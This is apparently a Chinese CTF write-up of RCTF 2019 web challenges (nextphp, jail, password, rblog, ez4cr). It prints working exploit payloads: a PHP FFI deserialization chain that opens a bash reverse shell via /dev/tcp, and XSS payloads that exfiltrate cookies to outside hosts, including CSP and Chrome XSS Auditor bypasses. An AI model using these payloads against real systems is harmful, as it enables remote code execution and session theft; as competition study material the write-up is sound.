上个周末做了一下RCTF,时隔一年卷土重来。这次Kap0k直接打到第6了,而且ak了misc,队友还是值得吹一波的。
回想起来,上一年的RCTF我还啥都不会,到今年还是啥都不会,岁月真是无情。
nextphp
这题考PHP7.4
的特性,非常紧跟潮流。直接给了个eval看一下
phpinfo
,一堆disable_functions
很明显绕不过去,再看
open_basedir
还注意到有一个
opcache.preload
preload.php
:
1 |
|
代码很工整,实现了一个自定义的序列化,反序列化的时候会调用unserialize
函数,这里的unserialize
函数功能是改变$data
数组元素的值,然后实现可变函数的效果。然后主要到这篇文章去查看php7.4
的特性,关于opcache.preload
,可以看RFC很好理解,就是选定一个文件来preload。
还用到了Foreign Function Interface
这个点.到RFC看cdef
:用法:
然后,我们需要利用
preload.php
的可变函数来尝试导入c函数并执行,为什么要利用预加载的preload.php
,不能直接搞呢,因为这个
1 | http://nextphp.2019.rctf.rois.io/?a=var_dump(unserialize(%27C:1:%22A%22:97:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:34:%22const%20char%20*%20getenv(const%20char%20*);%22;}}%27)-%3Eret-%3Egetenv(%27PATH%27)); |
1 | nextphp.2019.rctf.rois.io/?a=var_dump(unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()[ret]->system("bash -c '/bin/bash -i >%26 /dev/tcp/{{ip}}/{{[port}} 0>%261'")); |
jail
xss题,可以向一个页面写内容,然后把页面的id提交给admin,让它去访问。avatar的地方可以上传文件,试了一下,没啥好利用的点。
cookie中有两个hint目的就是要打到admin的cookie。
1 | Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self'; |
在firefox
下用这个payload就能x到:<img src=1 onerror="location.href='http://xxxxx/?'+document.cookie">
但是chrome不行提交了一下,没有打到,bot应该是chrome。我们知道跳转可以无视一切csp,但是这里跳转不了,因为页面上有一段预置的js
把
document.location
给freeze了,而freeze是不能解掉的后面尝试了用a标签和另外的一些方法,本地是可以跳转的,但是bot不跳呀,因此另寻骚操作。
之前没见过freeze location这个操作,因此研究了一下location尝试修改了几个属性,href固然是改不了,但是发现host和hostname属性都是可以改的,而且可以达到一个跳转的效果。这里可以用子域名带出信息,查看DNS query记录即可,payload:
1 | <script> |
password
这题用的是jail的同一个环境,题目和hint给的信息都非常关键提取出几个要点:
1.要x的是密码
2.并不是chrome自带的保存密码功能
3.try to read body.innerHTML
这里可以大致猜出一些东西了,要x密码,而且不是chrome自带的密码管理,结合hint,想到会不会是给他插入一段html,然后会给我自动填充密码,我再把密码整出来?于是尝试加一段html到payload里,由于是要x密码,所以自然想到整个表单上去,login那里就有一个现成的表单一开始是想,延时一段时间(给点时间给密码管理器自动填写),然后把password的value搞出来,但是啥都打不到。于是还是跟着hint走吧,读一下innerHTML,这一步的payload:
1 | <body> |
一点点拿到完整的页面内容,发现果然有something interesting加了个
data-cip-id
的属性,但是我的payload并没有这东西。查了一下,这里用的应该是ChromeIPass
+Keepass
这一套,本地装一下,直接拿登录页面来做一下实验。首先点击一下username的框,然后就会有候选密码(前提是已经有存密码)再右键选中看属性,发现这几个选项都是
cip-ui-menu-item
这个class的,因此可以用document.getElementsByClassName('cip-ui-menu-item')[?]
来定位他们。这里必须要点一下username的框,才会有这几个选项出现,选项出现之后,选一个来点,password的框就会被自动填充。所以我们的payload就已经出来了:
1 | <body> |
rblog
hint:API supports JSONP.
这题进来就三题wp的链接查看网络请求,可以发现数据来源于一个API
还可以发现网站有CSP,而且有一个report的页面,因此可以猜测这是个XSS的题.
default-src 'self'
,那么我们只能使用同域资源。
v1的content-type
是text/html
v2则是
application/json
v1/posts的是
application/javascript
,而且v1/posts使用jsonp,callback参数可控,由此想到,通过v1/
引入v1/posts?callback=xxx
的资源来实现xss。尝试之后,发现/
会被转义测试了一波,发现
/
和"
都会被转义.斜杠不能用,script标签自然是不能闭合的,需要另寻出路。参考了其他师傅的wp,这里的一个操作是使用iframe的srcdoc属性,然后在里面对payload进行unicode编码,这样可以同时绕过csp对unsafe-inline
的限制(csp没有设置此项),还可以绕过对斜杠的转义。使用payload如下:
1 | <iframe srcdoc=<script src=https://rblog.2019.rctf.rois.io/api/v1/posts?callback=alert(1);console.log></script>> |
firefox下成功弹框但是chrome不行,题目有说明chrome的版本
这是chrome的当前最新版本,这个payload被chrome的
XSS Auditor
拦截了。从fish师傅的wp中, 还看到这么一段话这是我之前不知道的。。tcl。这时候我们可以看看后端有没有对什么字符进行处理,经过简单的测试就可以发现,后端会把中文字符进行unicode编码并返回
因此,我们可以在srcdoc的开头部分插入中文字符,使得其绕过
XSS Auditor
。效果:然后构造payload,提交给admin即可。最终payload:
1 | https://rblog.2019.rctf.rois.io/api/v1/%3Ciframe%20srcdoc=%E5%95%8A%26%2360%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2332%3b%26%23115%3b%26%23114%3b%26%2399%3b%26%2361%3b%26%2334%3b%26%23104%3b%26%23116%3b%26%23116%3b%26%23112%3b%26%23115%3b%26%2358%3b%26%2347%3b%26%2347%3b%26%23114%3b%26%2398%3b%26%23108%3b%26%23111%3b%26%23103%3b%26%2346%3b%26%2350%3b%26%2348%3b%26%2349%3b%26%2357%3b%26%2346%3b%26%23114%3b%26%2399%3b%26%23116%3b%26%23102%3b%26%2346%3b%26%23114%3b%26%23111%3b%26%23105%3b%26%23115%3b%26%2346%3b%26%23105%3b%26%23111%3b%26%2347%3b%26%2397%3b%26%23112%3b%26%23105%3b%26%2347%3b%26%23118%3b%26%2349%3b%26%2347%3b%26%23112%3b%26%23111%3b%26%23115%3b%26%23116%3b%26%23115%3b%26%2363%3b%26%2399%3b%26%2397%3b%26%23108%3b%26%23108%3b%26%2398%3b%26%2397%3b%26%2399%3b%26%23107%3b%26%2361%3b%26%23112%3b%26%2397%3b%26%23114%3b%26%23101%3b%26%23110%3b%26%23116%3b%26%2346%3b%26%23108%3b%26%23111%3b%26%2399%3b%26%2397%3b%26%23116%3b%26%23105%3b%26%23111%3b%26%23110%3b%26%2346%3b%26%23104%3b%26%23114%3b%26%23101%3b%26%23102%3b%26%2361%3b%26%2339%3b%26%23104%3b%26%23116%3b%26%23116%3b%26%23112%3b%26%2358%3b%26%2347%3b%26%2347%3b%26%23120%3b%26%23120%3b%26%23120%3b%26%23120%3b%26%2347%3b%26%23120%3b%26%23115%3b%26%23115%3b%26%2363%3b%26%2339%3b%26%2337%3b%26%2350%3b%26%2398%3b%26%23101%3b%26%23115%3b%26%2399%3b%26%2397%3b%26%23112%3b%26%23101%3b%26%2340%3b%26%23100%3b%26%23111%3b%26%2399%3b%26%23117%3b%26%23109%3b%26%23101%3b%26%23110%3b%26%23116%3b%26%2346%3b%26%2399%3b%26%23111%3b%26%23111%3b%26%23107%3b%26%23105%3b%26%23101%3b%26%2341%3b%26%2359%3b%26%2399%3b%26%23111%3b%26%23110%3b%26%23115%3b%26%23111%3b%26%23108%3b%26%23101%3b%26%2346%3b%26%23108%3b%26%23111%3b%26%23103%3b%26%2334%3b%26%2362%3b%26%2360%3b%26%2347%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2362%3b%3E |
ez4cr
the flag for rblog2019.2 is in the cookie of the report domain. You may need a chrome xss auditor bypass ._.
这里要x的是report-rblog
域下的这个cookie,硬核bypass xss auditor?
看源码,发现有一个report.php
测了一下,这东西也support JSONP,而且
content-type
是text/html
,有csp而且没有对字符进行转义在firefox下,这样就可以直接x了
1 | https://report-rblog.2019.rctf.rois.io/report.php?callback=%3Cscript%20src=https://report-rblog.2019.rctf.rois.io/report.php?callback=alert(1);%3E%3C/script%3E |
但是chrome有xss auditor,不可能硬核bypass来收0day吧,所以从题目本身的场景入手。这题的中文很正常这里的一个解法是,把script src中的https改成http,后端返回的时候会把它变成https
此时可以成功x到
最后payload:
1 | https://report-rblog.2019.rctf.rois.io/report.php?callback=<script%20src=http://report-rblog.2019.rctf.rois.io/report.php?callback=location.href=%27http://123.207.99.17/xss?%27%25%32%62escape(document.cookie);></script> |